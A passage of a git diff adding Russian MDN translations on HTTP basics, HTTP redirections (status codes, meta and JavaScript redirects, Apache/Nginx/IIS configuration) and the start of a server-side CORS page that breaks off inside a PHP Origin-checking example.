+<p>Сервер не обязательно расположен на одной машине, и наоборот - несколько серверов могут быть расположены (хоститься) на одной и той же машине. В соответствии с версией HTTP/1.1 и имея {{HTTPHeader("Host")}} заголовок, они даже могут делить тот же самый IP-адрес.</p>
+
+<h3 id="Прокси">Прокси</h3>
+
+<p>Между веб-браузером и сервером находятся большое количество сетевых узлов передающих HTTP сообщения. Из за слоистой структуры, большинство из них оперируют также на транспортном сетевом  или физическом уровнях, становясь прозрачным на HTTP слое и потенциально снижая производительность. Эти операции на уровне приложений называются <u><strong>прокси</strong></u>. Они могут быть прозрачными, или нет, (изменяющие запросы не пройдут через них), и способны исполнять множество функций:</p>
+
+<ul>
+ <li>caching (кеш может быть публичным или приватными, как кеш браузера)</li>
+ <li>фильтрация (как сканирование антивируса, родительский контроль, …)</li>
+ <li>выравнивание нагрузки (позволить нескольким серверам обслуживать разные запросы)</li>
+ <li>аутентификация (контролировать доступом к разным ресурсам)</li>
+ <li>протоколирование (разрешение на хранение истории операций)</li>
+</ul>
+
+<h2 id="Основные_аспекты_HTTP">Основные аспекты HTTP</h2>
+
+<h3 id="HTTP_-_прост">HTTP - прост</h3>
+
+<p>Даже с большей сложностью, введенной в HTTP/2 путем инкапсуляции HTTP-сообщений в фреймы, HTTP, как правило, прост и удобен для восприятия человеком. HTTP-сообщения могут читаться и пониматься людьми, обеспечивая более легкое тестирование разработчиков и уменьшенную сложность для новых пользователей.</p>
+
+<h3 id="HTTP_-_расширяемый">HTTP - расширяемый</h3>
+
+<p>Введенные в HTTP/1.0 <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки</a> сделали этот протокол легким для расширения и экспериментирования. Новая функциональность может быть даже введена простым соглашением между клиентом и сервером о семантике нового заголовка.</p>
+
+<h3 id="HTTP_не_имеет_состояния_но_имеет_сессию">HTTP не имеет состояния, но имеет сессию</h3>
+
+<p>HTTP не имеет состояния: не существует связи между двумя запросами, которые последовательно выполняются по одному соединению. Из этого немедленно следует возможность проблем для пользователя, пытающегося взаимодействовать с определенной страницей последовательно, например, при использовании корзины в электронном магазине. Но хотя ядро HTTP не имеет состояния, куки позволяют использовать сессии с сохранением состояния. Используя расширяемость заголовков, куки добавляются к рабочему потоку, позволяя сессии на каждом HTTP-запросе делиться некоторым контекстом, или состоянием.</p>
+
+<h3 id="HTTP_и_соединения">HTTP и соединения</h3>
+
+<p>Соединение управляется на транспортном уровне, и потому принципиально выходит за границы HTTP. Хотя HTTP не требует, чтобы базовый транспортного протокол был основан на соединениях,  требуя только <em>надёжность</em>, или отсутствие потерянных сообщений (т.е. как минимум представление ошибки). Среди двух наиболее распространенных транспортных протоколов Интернета, TCP надёжен, а UDP -- нет. HTTP впоследствии полагается на стандарт TCP, являющийся основанным на соединениях, несмотря на то, что соединение не всегда требуется.</p>
+
+<p>HTTP/1.0 открывал TCP-соединение для каждого обмена запросом/ответом, имея два важных недостатка: открытие соединения требует нескольких обменов сообщениями, и потому медленно, хотя становится более эффективным при отправке нескольких сообщений, или при регулярной отправке сообщений: <em>теплые</em> соединения более эффективны, чем <em>холодные</em>.</p>
+
+<p>Для смягчения этих недостатков, HTTP/1.1 предоставил конвеерную обработку (которую оказалось трудно реализовать) и устойчивые соединения: лежащее в основе TCP соединение можно частично контролировать через заголовок  {{HTTPHeader("Connection")}}. HTTP/2 сделал следующий шаг, добавив мультиплексирование сообщений через простое соединение, помогающее держать соединение теплым и более эффективным.</p>
+
+<p>Проводятся эксперименты по разработке лучшего транспортного протокола, более подходящего для HTTP. Например, Google эксперементирует с <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, которая основана на  UDP, для предоставления более надёжного и эффективного транспортного протокола.</p>
+
+<h2 id="Чем_можно_управлять_через_HTTP">Чем можно управлять через HTTP</h2>
+
+<p>Естественная расширяемость HTTP со временем позволила большее управление и функциональность Сети. Кэш и методы аутентификации были ранними функциями в истории HTTP. Способность ослабить первоначальные ограничения, напротив, была добавлена в 2010-е.</p>
+
+<p>Ниже перечислены общие функции, управляемые с HTTP.</p>
+
+<ul>
+ <li><em><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">Кэш</a></em><br>
+  Сервер может инструктировать прокси и клиенты: что и как долго кэшировать. Клиент может инструктировать прокси промежуточных кэшей игнорировать хранимые документы.</li>
+ <li><em>Ослабление ограничений источника</em><br>
+  Для предотвращения шпионских и других, нарушающих приватность, вторжений, веб-браузер обчеспечивает строгое разделение между веб-сайтами. Только страницы из<strong> того же источника</strong> могут получить доступ к информации на веб-странице. Хотя такие ограничение нагружают сервер, заголовки HTTP могут ослабить строгое разделение на стороне сервера, позволяя документу стать частью информации с различных доменов (по причинам безопасности).</li>
+ <li><em>Аутентификация</em><br>
+  Некоторые страницы доступны только специальным пользователям. Базовая аутентификация может предоставляться через HTTP, либо через использование заголовка {{HTTPHeader("WWW-Authenticate")}} и подобных ему, либо с помощью настройки спецсессии, используя куки.</li>
+ <li><em><a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling">Прокси и тунелирование</a></em><br>
+  Серверы и/или клиенты часто располагаются в интернете, и скрывают свои истинные IP-адреса от других. HTTP запросы идут через прокси для пересечения этого сетевого барьера. Не все прокси -- HTTP прокси. SOCKS-протокол, например, оперирует на более низком уровне. Другие, как, например, ftp, могут быть обработаны этими прокси.</li>
+ <li><em>Сессии</em><br>
+  Использование HTTP кук позволяет связать запрос с состоянием на сервере. Это создает сессию,  хотя ядро HTTP -- протокол без состояния.  Это полезно не только для корзин в интернет-магазинах, но также для любых сайтов, позволяющих пользователю настроить выход.</li>
+</ul>
+
+<h2 id="HTTP_поток">HTTP поток</h2>
+
+<p>Когда клиент хочет взаимодействовать с сервером, являясь конечным сервером или промежуточным прокси, он выполняет следующие шаги:</p>
+
+<ol>
+ <li>Открытие TCP соединения: TCP-соедиенение будет использоваться для отправки запроса или запросов, и получения ответа. Клиент может открыть новое соединение, переиспользовать существующее, или открыть несколько TCP-соединений к серверу.</li>
+ <li>Отправка HTTP-сообщения: HTTP-собщения (до HTTP/2) -- человеко-читаемо. Начиная с HTTP/2, простые сообщения инкапсилуруются во фреймы, делая невозможным их чтения напрямую, но принципиально остаются такими же.
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr</code></pre>
+ </li>
+ <li>Читает ответ от сервера:
+  <pre class="line-numbers  language-html notranslate"><code class="language-html">HTTP/1.1 200 OK
+Date: Sat, 09 Oct 2010 14:28:02 GMT
+Server: Apache
+Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+ETag: "51142bc1-7449-479b075b2891b"
+Accept-Ranges: bytes
+Content-Length: 29769
+Content-Type: text/html
+
+&lt;!DOCTYPE html... (here comes the 29769 bytes of the requested web page)</code></pre>
+ </li>
+ <li>Закрывает или переиспользует соединение для дальнейших запросов.</li>
+</ol>
+
+<p>Если активирован HTTP-конвеер, несколько запросов могут быть отправлены без ожидания получения первого ответа целиком. HTTP-конвеер тяжело внедряется в существующие сети, где старые куски ПО сосуществуют с современными версиями.  HTTP-конвеер был заменен в HTTP/2 на более надежные мультиплексивные запросы во фрейме.</p>
+
+<h2 id="HTTP_сообщения">HTTP сообщения</h2>
+
+<p>HTTP/1.1 и более ранние HTTP сообщения человеко-читаемы. В версии HTTP/2 эти сообщения встроены в новую бинарную структуру, фрейм, позволяющий оптимизации, такие как компрессия заголовков и мультиплексирование. Даже если часть оригинального HTTP сообщения отправлена в этой версии HTTP, семантика каждого сообщения не изменяется и клиент воссоздаёт (виртуально) оригинальный HTTP-запрос. Это также полезно для понимания HTTP/2 сообщений в формате HTTP/1.1.</p>
+
+<p>Существует два типа HTTP сообщений, запросы и ответы, каждый в своем формате.</p>
+
+<h3 id="Запросы">Запросы</h3>
+
+<p>Примеры HTTP запросов:</p>
+
+<p><img alt="A basic HTTP request" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p>
+
+<p>Запросы содержат следующие элементы:</p>
+
+<ul>
+ <li>HTTP-<a href="/en-US/docs/Web/HTTP/Methods">метод</a>, обычно глагол подобно {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} или существительное, как {{HTTPMethod("OPTIONS")}} или {{HTTPMethod("HEAD")}}, определяющее операцию, которую клиент хочет выполнить. Обычно, клиент хочет получить ресурс (используя <code>GET</code>) или передать значения <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML-формы</a> (используя <code>POST</code>), хотя другие операция могут быть необходимы в других случаях.</li>
+ <li>Путь к ресурсу: URL ресурсы <span id="result_box" lang="ru"><span>лишены элементов, которые очевидны из контекста</span></span>, например без {{glossary("protocol")}} (<code>http://</code>), {{glossary("domain")}} (здесь <code>developer.mozilla.org</code>), или TCP {{glossary("port")}} (здесь <code>80</code>).</li>
+ <li>Версию HTTP-протокола.</li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">Заголовки</a>  (опционально), предоставляюшие дополнительную информацию для сервера.</li>
+ <li>Или тело, для некоторых методов, таких как <code>POST</code>, которое содержит отправленный ресурс.</li>
+</ul>
+
+<h3 id="Ответы">Ответы</h3>
+
+<p>Примеры ответов:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p>
+
+<p>Ответы содержат следующие элементы:</p>
+
+<ul>
+ <li>Версию HTTP-протокола.</li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">HTTP код состояния</a>, сообщающий об успешности запроса или причине неудачи.</li>
+ <li>Сообщение состояния -- краткое описание кода состояния.</li>
+ <li>HTTP <a href="/en-US/docs/Web/HTTP/Headers">заголовки</a>, подобно заголовкам в запросах.</li>
+ <li>Опционально: тело, содержащее пересылаемый ресурс.</li>
+</ul>
+
+<h2 id="Вывод">Вывод</h2>
+
+<p>HTTP -- легкий в использовании расширяемый протокол. Структура клиент-сервера, вместе со способностью к простому добавлению заголовков, позволяет HTTP продвигаться вместе с расширяющимися возможностями Сети.</p>
+
+<p>Хотя HTTP/2 добавляет некоторую сложность, встраивая HTTP сообщения во фреймы для улучшения производительности, базовая структура сообщений осталась с HTTP/1.0. Сессионый поток остается простым, позволяя исследовать и отлаживать с простым <a href="/en-US/docs/Tools/Network_Monitor">монитором HTTP-сообщений</a>.</p>
diff --git a/files/ru/web/http/redirections/index.html b/files/ru/web/http/redirections/index.html
new file mode 100644
index 0000000000..8a9c509b06
--- /dev/null
+++ b/files/ru/web/http/redirections/index.html
@@ -0,0 +1,260 @@
+---
+title: Перенаправления в HTTP
+slug: Web/HTTP/Redirections
+tags:
+  - HTTP
+  - Начинающий
+  - Руководство
+translation_of: Web/HTTP/Redirections
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">URL перенаправление (redirecting), также известное как URL пересылка (forwarding), это метод представления страницы, формы или целого веб-приложения, более чем одним  URL  адресом. HTTP предоставляет специальный вид ответов, <em><strong>HTTP redirect</strong></em>, для выполнения этой операции, используемой для многих целей: временного перенаправления, пока выполняется обслуживание сайта, постоянное перенаправление, для сохранения работоспособности внешних ссылок, после смены архитектуры сайта, страниц прогресса, пока загружается файл, и так далее.</p>
+
+<h2 id="Принцип_работы">Принцип работы</h2>
+
+<p>В HTTP, перенаправление вызывается при отправке сервером специального ответа на запрос: redirects. HTTP перенаправление, это ответы с кодом статуса<code>3xx</code>. Когда браузер получает ответ перенаправления, он использует новый предоставленный URL-адрес и немедленно загружает его: в большинстве случаев переадресация невидима для пользователя, за исключением небольшого влияния производительность.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p>
+
+<p>Есть несколько типов перенаправлений и делятся на три категории: постоянные, временные и специальные перенаправления.</p>
+
+<h3 id="Постоянные_перенаправления">Постоянные перенаправления</h3>
+
+<p>Эти перенаправления призваны длиться вечно. Они подразумевают, что оригинальный URL-адрес больше не должен использоваться, а вместо него должен быть использован новый. Поисковые роботы запускают обновление связанного URL-адреса для ресурса в своих индексах.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Код</th>
+   <th scope="col">Текст</th>
+   <th scope="col">Обработка метода</th>
+   <th scope="col">Случаи использования</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>301</code></td>
+   <td><code>Moved Permanently</code></td>
+   <td>{{HTTPMethod("GET")}} методы неизменны.<br>
+    Другие методы могут быть превращены в {{HTTPMethod("GET")}}.<sup><a href="#attr1">[1]</a></sup></td>
+   <td>Реорганизация веб-сайта.</td>
+  </tr>
+  <tr>
+   <td><code>308</code></td>
+   <td><code>Permanent Redirect</code></td>
+   <td>Метод и тело запроса  неизменны.</td>
+   <td>Реорганизация веб-сайта, с не-GET ссылками/операциями.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="attr1" name="attr1"></a>[1] Спецификация не была намерена разрешать изменение метода, но на практике, клиентские приложения делают это. Код <code>308</code> был создан чтобы избавиться от неоднозначности в поведении, при использовании не-<code>GET</code> методов.</p>
+
+<h3 id="Временные_перенаправления">Временные перенаправления</h3>
+
+<p>Иногда, доступ к запрашиваемому ресурсу не может быть предоставлен из определенного места, но может быть предоставлен из другого. В этом случае, могут быть использованы временные перенаправления. Поисковые роботы не запоминают новую, временную ссылку. Временные перенаправления также используются, когда создаются, обновляются, или удаляются ресурсы, которые представляют временные страницы.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Код</th>
+   <th scope="col">Текст</th>
+   <th scope="col">Обработка метода</th>
+   <th scope="col">Случаи использования</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>302</code></td>
+   <td><code>Found</code></td>
+   <td>{{HTTPMethod("GET")}} методы неизменны.<br>
+    Другие методы <u>могут</u>  быть превращены в {{HTTPMethod("GET")}}.<sup><a href="#attr2">[2]</a></sup></td>
+   <td>Веб-страница недоступна по непредвиденым причинам. В этом случае поисковые роботы не будут обновлять свои ссылки.</td>
+  </tr>
+  <tr>
+   <td><code>303</code></td>
+   <td><code>See Other</code></td>
+   <td>{{HTTPMethod("GET")}} методы неизменны.<br>
+    Другие превращены в <code>GET</code> (тело запроса теряется).</td>
+   <td>Используется для перенаправления после {{HTTPMethod("PUT")}} или {{HTTPMethod("POST")}} для предотвращения обновления страницы, что может спровоцировать повторный вызов операции.</td>
+  </tr>
+  <tr>
+   <td><code>307</code></td>
+   <td><code>Temporary Redirect</code></td>
+   <td>Метод и тело запроса  неизменны.</td>
+   <td>Веб-страница недоступна по непредвиденным причинам. В этом случае поисковые роботы не будут обновлять свои ссылки. Лучше чем код <code>302</code> когда не-GET ссылки/операции доступны на сайте.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a id="attr2" name="attr2"></a>[2] Спецификация не была намерена разрешать изменение метода, но на практике, клиентские приложения делают это. Код <code>307</code> был создан чтобы избавиться от неоднозначности в поведении, при использовании не-<code>GET</code> методов.</p>
+
+<h3 id="Специальные_перенаправления">Специальные перенаправления</h3>
+
+<p>В добавок к обычным перенаправлениям, есть 2 специальные.  Перенаправление с кодом {{HTTPStatus("304")}} (Not Modified) перенаправляет страницу к локальной закешированной копии (которая была устаревшей), и перенаправление с кодом {{HTTPStatus("300")}} (Multiple Choice) это ручное перенаправление: тело, представленное браузером, как веб-страница, перечисляет возможные перенаправления и пользователь выбирает одно из них.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Код</th>
+   <th scope="col">Текст</th>
+   <th scope="col">Случаи использования</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>300</code></td>
+   <td><code>Multiple Choice</code></td>
+   <td>Не так много: варианты перечислены на HTML странице. Может быть обслужен со статусом {{HTTPStatus("200")}} <code>OK</code>.</td>
+  </tr>
+  <tr>
+   <td><code>304</code></td>
+   <td><code>Not Modified</code></td>
+   <td>Обновление кеша: означает, что значение кеша все еще актуально и может быть использовано.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Альтернативные_способы_указания_перенаправлений">Альтернативные способы указания перенаправлений</h2>
+
+<p>HTTP перенаправления это не единственный способ переадресации. Есть еще два метода: HTML перенаправления используют элемент {{HTMLElement("meta")}} , и JavaScript перенаправления используют <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>.</p>
+
+<h3 id="HTML_перенаправления">HTML перенаправления</h3>
+
+<p>HTTP перенаправления более предпочтительный способ создания перенаправлений, но, иногда, у веб-разработчиков нету контроля над сервером или возможности настроить его.  Для таких особых случаев, разработчики могут создать HTML страницу с элементом  {{HTMLElement("meta")}} и установить атрибуту {{htmlattrxref("http-equiv", "meta")}} значение <code>refresh</code> в блоке {{HTMLElement("head")}}. Когда страница отображается, браузер найдет этот элемент и перейдет на указанную страницу.</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta http-equiv="refresh" content="0; URL=http://www.example.com/" /&gt;
+&lt;/head&gt;
+</pre>
+
+<p>Атрибут {{htmlattrxref("content")}} начинается с числа, которое означает, сколько секунд браузер должен ждать, прежде чем перейти по данной ссылке. Всегда устанавливайте 0, для лучшей доступности.</p>
+
+<p>Очевидно, этот метод работает только с HTML страницами и не может использоваться для изображений или другого типа контента.</p>
+
+<div class="note">
+<p><strong>Заметьте</strong>, что перенаправления не позволяют работать должным образом кнопке "Назад" в браузере: вы можете вернуться на страницу назад, но мгновенно будете перенаправлены на страницу с которой пришли.</p>
+</div>
+
+<h3 id="JavaScript_перенаправления">JavaScript перенаправления</h3>
+
+<p>Перенаправления в JavaScript создаются установкой значения свойства {{domxref("window.location")}} и новая страница загрузиться.</p>
+
+<pre class="brush: js">window.location = "http://www.example.com/";</pre>
+
+<p>Как и HTML перенаправления, этот тип не будет работать на всех ресурсах, и очевидно, что работает только на стороне клиента, который выполнит JavaScript. С другой стороны, вы можете вызвать перенаправление, только тогда, когда исполнится определенное условие.</p>
+
+<h3 id="Приоритетность">Приоритетность</h3>
+
+<p>При использовании трех возможных способов URL перенаправления, некоторые методы могут быть вызваны одновременно, но какой из них будет применен первым? Порядок приоритетов следующий:</p>
+
+<ol>
+ <li>HTTP перенаправления всегда выполняются первыми, пока еще страница даже не была передана,  и конечно же, пока еще не прочитана.</li>
+ <li>HTML перенаправления ({{HTMLElement("meta")}}) выполняються только, если перенаправление не было в выполнено в HTTP.</li>
+ <li>JavaScript перенаправления используются как последняя возможность перенаправления, и работают только если разрешено выполнение JavaScript на клиентской стороне.</li>
+</ol>
+
+<p>Используйте HTTP перенаправления, когда это возможно, и не используйте элемент {{HTMLElement("meta")}}. Если разработчик изменяет HTTP перенаправление и забывает изменить HTML перенаправление , тогда они больше не идентичны, и закончится это вечным циклом или другим ночным кошмаром.</p>
+
+<h2 id="Случаи_использования">Случаи использования</h2>
+
+<p>Есть много случаев для использования перенаправлений, но поскольку они влияют на производительность, то должны использоваться как можно реже.</p>
+
+<h3 id="Связывание_доменов">Связывание доменов</h3>
+
+<p>В идеале, есть только одно место, и следовательно один URL адрес, для одного ресурса. Но, есть несколько причин, чтобы иметь альтернативные имена для ресурса (несколько доменов, как с, так и без префикса <em>www </em>или более короткие и лёгкие для запоминания адреса, …). В этих случаях, использовать перенаправление к одному истинному URL адресу, более подходящий вариант, чем дублировать ресурс.</p>
+
+<p>Связывание доменов может быть необходимым по нескольким причинам:</p>
+
+<ul>
+ <li>Расширение вашего сайта. Распространенный случай, когда ваш сайт находится под доменом <code>www.example.com</code> , а доступ к страницам должен быть возможным также из <code>example.com</code> . В этом случае создаются перенаправления для  страниц из <code>example.com</code> к страницам <code>www.example.com</code>. Вы также можете предоставлять обычно используемые имена синонимов или частые опечатки ваших доменных имен.</li>
+ <li>Переезд на другой домен. К примеру, ваша компания была переименована и вы хотите чтобы люди которые обычно использовали старый сайт компании находили вас под новым именем.</li>
+ <li>Принужденный HTTPS. Запросы к HTTP версии вашего сайта буду перенаправлены к HTTPS версии.</li>
+</ul>
+
+<h3 id="Сохранения_ссылок_рабочими">Сохранения ссылок рабочими</h3>
+
+<p>Когда вы изменяете структуру веб-сайта, URL адреса ресурсов меняются. Даже, если вы можете обновить внутренние ссылки вашего сайта в соответствии с новой схемой имен, у вас нет контроля на URL адресами используемыми внешними ресурсами. Вы не хотите, чтобы эти ссылки не работали, так как они приносят вам ценных пользователей (и помогают вашей SEO), так что вы устанавливаете перенаправления из старых URL адресов на новые.</p>
+
+<div class="note">
+<p>Не смотря на то, что данный метод работает также для внутренних ссылок, вы должны избегать внутренних перенаправлений. Перенаправления имеют большое влияние на производительность, и если вы имеете возможность избежать их, корректируя внутренние ссылки, тогда делайте так.</p>
+</div>
+
+<h3 id="Временные_ответы_для_небезопасных_запросов">Временные ответы для небезопасных запросов</h3>
+
+<p>{{Glossary("safe", "Небезопасные")}} запросы изменяют состояние сервера и пользователь не должен не нарочно запросить их.  Обычно, вы не хотите чтобы ваши пользователи повторно отправляли {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} или {{HTTPMethod("DELETE")}} запросы. Если вы только обслуживаете запросы, простое нажатие кнопки перезагрузки повторно отправит запрос. </p>
+
+<p>В этом случае, сервер вернет ответ {{HTTPStatus("303")}} (Смотреть другие), который будет содержать правильную информацию, но если кнопка перезагрузки будет нажата, эта страница просто отобразится повторно без ответа на небезопасный запрос.</p>
+
+<h3 id="Временные_ответы_на_долгие_запросы">Временные ответы на долгие запросы</h3>
+
+<p>Некоторые запросы могут потребовать больше времени сервера, например запрос {{HTTPHeader("DELETE")}}, который срабатывает по расписанию. В этом случае, ответом будет перенаправление {{HTTPStatus("303")}} (Смотреть другие), которое связывает со страницей показывающей, что действие было запланировано, и в результате информирует о процессе или позволяет отменить запрос.</p>
+
+<h2 id="Настройка_перенаправлений_на_распространённых_серверах">Настройка перенаправлений на  распространённых серверах</h2>
+
+<h3 id="Apache">Apache</h3>
+
+<p>Перенаправления могут быть установлены или в настройках сервера, или в каждой директории в файле <code>.htaccess</code>.</p>
+
+<p>У модуля <a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> есть директивы <code>Redirect</code> и <code>Redirect_Match</code> которые, по умолчанию, устанавливают код ответа {{HTTPStatus("302")}}:</p>
+
+<pre>&lt;VirtualHost *:80&gt;
+	ServerName example.com
+	Redirect / http://www.example.com
+&lt;/VirtualHost&gt;
+</pre>
+
+<p>URL <code>http://example.com/</code> будет переенаправлен к <code>http://www.example.com/</code> (но не к <code>http://example.com/other.html</code> )</p>
+
+<p><code>Redirect_Match</code> делает то же, но использует регулярное выражение, чтобы определить множество URL адресов, которые подпадут под эффект:</p>
+
+<pre>RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre>
+
+<p>Все документы в папке <code>images/</code> будут перенаправляться к другому домену.</p>
+
+<p>Если вы не хотите устанавливать временное перенаправление, дополнительный параметр (используйте или код статуса HTTP, или ключевое слово <code>permanent) </code>может использоваться чтобы установить другое перенаправление:</p>
+
+<pre>Redirect permanent / http://www.example.com
+Redirect 301 / http://www.example.com
+</pre>
+
+<p>Также модуль <a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> может использоваться для создания перенаправлений. Они более гибкие, но сложнее в использовании.</p>
+
+<h3 id="Nginx">Nginx</h3>
+
+<p>В Nginx, вы создаете особый серверный блок для контента, который вы хотите перенаправлять:</p>
+
+<pre>server {
+	listen 80;
+	server_name example.com;
+	return 301 $scheme://www.example.com$request_uri;
+}</pre>
+
+<p>Чтобы применить перенаправления к папке или подмножеству страниц, используйте директиву <code>rewrite</code>:</p>
+
+<pre>rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
+</pre>
+
+<h3 id="IIS">IIS</h3>
+
+<p>В IIS, вы используете элемент <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect">&lt;httpRedirect&gt;</a></code> для настройки перенаправлений.</p>
+
+<h2 id="Циклы_перенаправлений">Циклы перенаправлений</h2>
+
+<p>Циклы перенаправлений случаются когда за успешным перенаправлением следует другое, которое уже было выполнено. Другими словами, существует такой цикл, который никогда не закончится и в конечном счете ни одна страница не будет найдена.</p>
+
+<p>В большинстве случаев это проблема сервера, и если сервер не может обнаружить её, то отправит код статуса {{HTTPStatus("500")}} <code>Internal Server Error</code>. Если вы встретите такую ошибку вскоре после редактирования настроек сервера, то это скорее всего цикл перенаправлений.</p>
+
+<p>В случае, когда сервер не может обнаружить его: цикл перенаправлений может распространиться на несколько серверов, каждый из которых не имеет полной картины происходящего. В этом случае, браузеры покажут сообщение об ошибке. Firefox выведет:</p>
+
+<pre class="bz_comment_text" id="comment_text_0">Firefox has detected that the server is redirecting the request for this address in a way that will never complete.</pre>
+
+<p>тогда, как Chrome:</p>
+
+<pre>This Webpage has a redirect loop</pre>
+
+<p>В обоих случаях, пользователь не может ничего сделать (в отличие от ошибки на стороне клиента, например, несоответствие файлов куки или кеша).</p>
+
+<p>Важно избегать циклов перенаправлений, так как они полностью нарушают работу пользователя.</p>
diff --git a/files/ru/web/http/server-side_access_control/index.html b/files/ru/web/http/server-side_access_control/index.html
new file mode 100644
index 0000000000..fa4deb40bd
--- /dev/null
+++ b/files/ru/web/http/server-side_access_control/index.html
@@ -0,0 +1,212 @@
+---
+title: Server-Side Access Control (CORS)
+slug: Web/HTTP/Server-Side_Access_Control
+translation_of: Web/HTTP/CORS
+---
+<p>Системы контроля доступа производят идентификацию <a href="http://searchsoftwarequality.techtarget.com/definition/authorization">авторизации</a>, <a href="http://searchsecurity.techtarget.com/definition/authentication">аутентификацию</a>, подтверждение доступа и подотчетность сущностей с помощью учетных данных для входа, включая <a href="http://searchsecurity.techtarget.com/definition/password">пароль</a>, личный идентификационный номер (PINs), <a href="http://searchsecurity.techtarget.com/definition/biometrics">биометрическое</a> сканирование и физический или электронный ключ.</p>
+
+<p>Контроль доступа --- это техника безопасности, которую можно использовать для регулирования процессом того, кто или что может видеть или использовать ресурсы в вычислительном окружении.</p>
+
+<p>{{HTTPSidebar}}</p>
+
+<p>Для меж-сайтовых запросов, произведенных с помощью {{domxref("XMLHttpRequest")}} или <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, браузеры передают специальные <a href="/en-US/docs/Web/HTTP/Headers">HTTP заголовки</a>. Так же ожидаемо увидеть определенные HTTP заголовки, переданные обратно внутри меж-сайтового ответа. Обзор этих заголовков, включая примеры JavaScript кода, создающего запросы и обрабатывающего ответы от сервера, как и описание каждого из заголовков, <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">может быть найден в статье HTTP Access Control (CORS)</a> и должен быть прочитан вместе с данной. Эта статья покрывает обработку <strong>Запросов контроля доступа</strong> и формулировку <strong>Ответов контроля доступа </strong>в PHP. Целевая аудитория для этой статьи ---  разработчики серверов и администраторы. Хотя примеры кода, приведенные тут, на PHP, подобная концепция применяется в ASP.net, Perl, Python, Java, etc.; в общем, эти концепции могут быть применены в любом сервером окружении, который обрабатывает HTTP запросы и динамически формирует HTTP ответы.</p>
+
+<h2 id="Discussion_of_HTTP_headers">Discussion of HTTP headers</h2>
+
+<p>The article <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS">covering the HTTP headers used by both clients and servers is here</a>, and should be considered prerequisite reading.</p>
+
+<h2 id="Working_code_samples">Working code samples</h2>
+
+<p>The PHP snippets (and the JavaScript invocations to the server) in subsequent sections are taken from <a class="external" href="http://arunranga.com/examples/access-control/">the working code samples posted here.</a> These will work in browsers that implement cross-site {{domxref("XMLHttpRequest")}}.</p>
+
+<h2 id="Simple_cross-site_requests">Simple cross-site requests</h2>
+
+<p><a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple Access Control Requests</a> are initiated when:</p>
+
+<ul>
+ <li>An HTTP/1.1 {{HTTPMethod("GET")}} or a {{HTTPMethod("POST")}} is used as request method. In the case of a POST, the {{HTTPHeader("Content-Type")}} of the request body is one of <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code>, or <code>text/plain.</code></li>
+ <li>No custom headers are sent with the HTTP request (such as <code>X-Modified</code>, etc.)</li>
+</ul>
+
+<p>In this case, responses can be sent back based on some considerations.</p>
+
+<ul>
+ <li>If the resource in question is meant to be widely accessed (just like any HTTP resource accessed by GET), then sending back the {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: *</code> header will be sufficient, <strong>unless</strong> the resource needs credentials such as <a href="/en-US/docs/Web/HTTP/Cookies">Cookies</a> and HTTP Authentication information.</li>
+ <li>If the resource should be kept restricted based on requester domain, <strong>OR</strong> if the resource needs to be accessed with credentials (or sets credentials), then filtering by the request's {{HTTPHeader("Origin")}} header may be necessary, or at least echoing back the requester's <code>Origin</code> (e.g. {{HTTPHeader("Access-Control-Allow-Origin")}}<code>: <a class="external" href="http://arunranga.com" rel="freelink">http://arunranga.com</a></code>).  Additionally, the {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> header will have to be sent. This is discussed in a <a class="internal" href="#Credentialed_Requests">subsequent section</a>.</li>
+</ul>
+
+<p>The section on <a class="internal" href="/en-US/docs/Web/HTTP/Access_control_CORS#Simple_requests">Simple Access Control Requests</a> shows you the header exchanges between client and server. Here is a PHP code segment that handles a Simple Request:</p>
+
+<pre class="brush: php">&lt;?php
+
+// We'll be granting access to only the arunranga.com domain
+// which we think is safe to access this resource as application/xml
+
+if($_SERVER['HTTP_ORIGIN'] == "http://arunranga.com") {
+    header('Access-Control-Allow-Origin: http://arunranga.com');
+    header('Content-type: application/xml');
+    readfile('arunerDotNetResource.xml');
+} else {
+  header('Content-Type: text/html');
+  echo "&lt;html&gt;";
+  echo "&lt;head&gt;";
